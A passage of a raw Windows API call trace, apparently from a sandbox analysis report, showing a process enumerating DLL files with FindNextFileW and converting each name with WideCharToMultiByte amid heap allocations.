ftLastAccessTime.dwLowDateTime=0xa0777c0d, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x7de49f40, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1ee00, dwReserved0=0x545448, dwReserved1=0x0, cFileName="advpack.dll", cAlternateFileName="")) returned 1 [0248.715] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e8c8 [0248.715] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e950 [0248.715] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADVPACK.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0248.715] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c120 [0248.715] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADVPACK.DLL", cchWideChar=11, lpMultiByteStr=0xa8c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADVPACK.DLL", lpUsedDefaultChar=0x0) returned 11 [0248.716] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c288 [0248.716] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c120) returned 1 [0248.716] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c288) returned 1 [0248.716] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e950) returned 1 [0248.716] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e8c8) returned 1 [0248.716] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5e862c71, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x5e862c71, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x7de71040, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x545448, dwReserved1=0x0, cFileName="aecache.dll", cAlternateFileName="")) returned 1 [0248.716] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e8c8 [0248.716] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e950 [0248.716] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AECACHE.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0248.716] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c288 [0248.716] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AECACHE.DLL", cchWideChar=11, lpMultiByteStr=0xa8c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AECACHE.DLL", lpUsedDefaultChar=0x0) returned 11 [0248.716] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c120 [0248.716] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c288) returned 1 [0248.716] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c120) returned 1 [0248.716] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e950) returned 1 [0248.716] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e8c8) returned 1 [0248.716] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c6f412, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x79c6f412, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0xf1f20320, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x5a00, dwReserved0=0x545448, dwReserved1=0x0, cFileName="aeevts.dll", cAlternateFileName="")) returned 1 [0248.716] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e8c8 [0248.716] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e950 [0248.716] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AEEVTS.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0248.716] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c120 [0248.716] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AEEVTS.DLL", cchWideChar=10, lpMultiByteStr=0xa8c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AEEVTS.DLL", lpUsedDefaultChar=0x0) returned 10 [0248.716] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c288 [0248.716] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c120) returned 1 [0248.716] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c288) returned 1 [0248.716] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e950) returned 1 [0248.716] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e8c8) returned 1 [0248.716] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2994413f, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x2994413f, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x7e0609f0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xb600, dwReserved0=0x545448, dwReserved1=0x0, cFileName="AltTab.dll", cAlternateFileName="")) returned 1 [0248.716] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e8c8 [0248.716] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e950 [0248.716] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALTTAB.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0248.716] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c288 [0248.716] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALTTAB.DLL", cchWideChar=10, lpMultiByteStr=0xa8c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALTTAB.DLL", lpUsedDefaultChar=0x0) returned 10 [0248.716] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c120 [0248.716] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c288) returned 1 [0248.716] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c120) returned 1 [0248.717] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e950) returned 1 [0248.717] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e8c8) returned 1 [0248.717] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a29ac8e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a29ac8e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a29ac8e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x11400, dwReserved0=0x545448, dwReserved1=0x0, cFileName="amstream.dll", cAlternateFileName="")) returned 1 [0248.717] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e8c8 [0248.717] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e950 [0248.717] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AMSTREAM.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0248.717] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c120 [0248.717] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AMSTREAM.DLL", cchWideChar=12, lpMultiByteStr=0xa8c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AMSTREAM.DLL", lpUsedDefaultChar=0x0) returned 12 [0248.717] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c288 [0248.717] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c120) returned 1 [0248.717] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c288) returned 1 [0248.717] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e950) returned 1 [0248.717] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e8c8) returned 1 [0248.717] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76fcd8be, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x76fcd8be, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x7e0853e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5e00, dwReserved0=0x545448, dwReserved1=0x0, cFileName="amxread.dll", cAlternateFileName="")) returned 1 [0248.717] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e8c8 [0248.717] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e950 [0248.717] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AMXREAD.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0248.717] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c288 [0248.717] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AMXREAD.DLL", cchWideChar=11, lpMultiByteStr=0xa8c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AMXREAD.DLL", lpUsedDefaultChar=0x0) returned 11 [0248.717] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c120 [0248.717] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c288) returned 1 [0248.717] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c120) returned 1 [0248.717] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e950) returned 1 [0248.717] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e8c8) returned 1 [0248.717] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd41bceeb, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xd41bceeb, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x7e4d7330, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1a8c00, dwReserved0=0x545448, dwReserved1=0x0, cFileName="apds.dll", cAlternateFileName="")) returned 1 [0248.717] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e8c8 [0248.717] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e950 [0248.717] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APDS.DLL", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0248.717] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c120 [0248.717] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APDS.DLL", cchWideChar=8, lpMultiByteStr=0xa8c120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APDS.DLL", lpUsedDefaultChar=0x0) returned 8 [0248.717] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c288 [0248.717] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c120) returned 1 [0248.717] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c288) returned 1 [0248.717] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e950) returned 1 [0248.717] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e8c8) returned 1 [0248.717] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cf21dc5, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cf21dc5, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x545448, dwReserved1=0x0, cFileName="api-ms-win-core-console-l1-1-0.dll", cAlternateFileName="")) returned 1 [0248.718] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e8c8 [0248.718] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e950 [0248.718] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-CONSOLE-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0248.718] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c288 [0248.718] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-CONSOLE-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0xa8c288, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-CONSOLE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 34 [0248.718] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c120 [0248.718] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c288) returned 1 [0248.718] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c120) returned 1 [0248.718] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e950) returned 1 [0248.718] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e8c8) returned 1 [0248.718] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cefbc66, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cefbc66, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x545448, dwReserved1=0x0, cFileName="api-ms-win-core-datetime-l1-1-0.dll", cAlternateFileName="")) returned 1 [0248.718] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e8c8 [0248.718] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e950 [0248.718] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DATETIME-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 35 [0248.718] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c120 [0248.718] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DATETIME-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0xa8c120, cbMultiByte=35, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-DATETIME-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 35 [0248.718] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c288 [0248.718] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c120) returned 1 [0248.718] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c288) returned 1 [0248.718] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e950) returned 1 [0248.718] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e8c8) returned 1 [0248.718] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cd32bf2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cd32bf2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x545448, dwReserved1=0x0, cFileName="api-ms-win-core-debug-l1-1-0.dll", cAlternateFileName="")) returned 1 [0248.718] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e8c8 [0248.718] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e950 [0248.718] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DEBUG-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0248.718] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c288 [0248.718] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DEBUG-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0xa8c288, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-DEBUG-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 32 [0248.718] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c120 [0248.718] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c288) returned 1 [0248.718] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c120) returned 1 [0248.718] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e950) returned 1 [0248.718] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e8c8) returned 1 [0248.718] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cf941e2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cf941e2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x545448, dwReserved1=0x0, cFileName="api-ms-win-core-delayload-l1-1-0.dll", cAlternateFileName="")) returned 1 [0248.718] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e8c8 [0248.718] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e950 [0248.719] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DELAYLOAD-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0248.719] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c120 [0248.719] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DELAYLOAD-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0xa8c120, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-DELAYLOAD-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 36 [0248.719] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c288 [0248.719] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c120) returned 1 [0248.719] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c288) returned 1 [0248.719] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e950) returned 1 [0248.719] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e8c8) returned 1 [0248.719] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2ccc07d5, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2ccc07d5, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x545448, dwReserved1=0x0, cFileName="api-ms-win-core-errorhandling-l1-1-0.dll", cAlternateFileName="")) returned 1 [0248.719] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e8c8 [0248.719] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e950 [0248.719] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-ERRORHANDLING-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0248.719] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c288 [0248.719] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-ERRORHANDLING-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0xa8c288, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-ERRORHANDLING-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 40 [0248.719] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c120 [0248.719] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c288) returned 1 [0248.719] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c120) returned 1 [0248.719] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e950) returned 1 [0248.719] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e8c8) returned 1 [0248.719] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cd7eeb0, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cd7eeb0, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x545448, dwReserved1=0x0, cFileName="api-ms-win-core-fibers-l1-1-0.dll", cAlternateFileName="")) returned 1 [0248.719] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e8c8 [0248.719] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e950 [0248.719] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FIBERS-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0248.719] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c120 [0248.719] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FIBERS-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0xa8c120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-FIBERS-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0248.719] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x40) returned 0xa8c288 [0248.719] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c120) returned 1 [0248.719] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8c288) returned 1 [0248.719] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e950) returned 1 [0248.719] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8e8c8) returned 1 [0248.719] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1f57d2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1f57d2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x545448, dwReserved1=0x0, cFileName="api-ms-win-core-file-l1-1-0.dll", cAlternateFileName="")) returned 1 [0248.719] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e8c8 [0248.719] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa8e950 [0248.719] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, 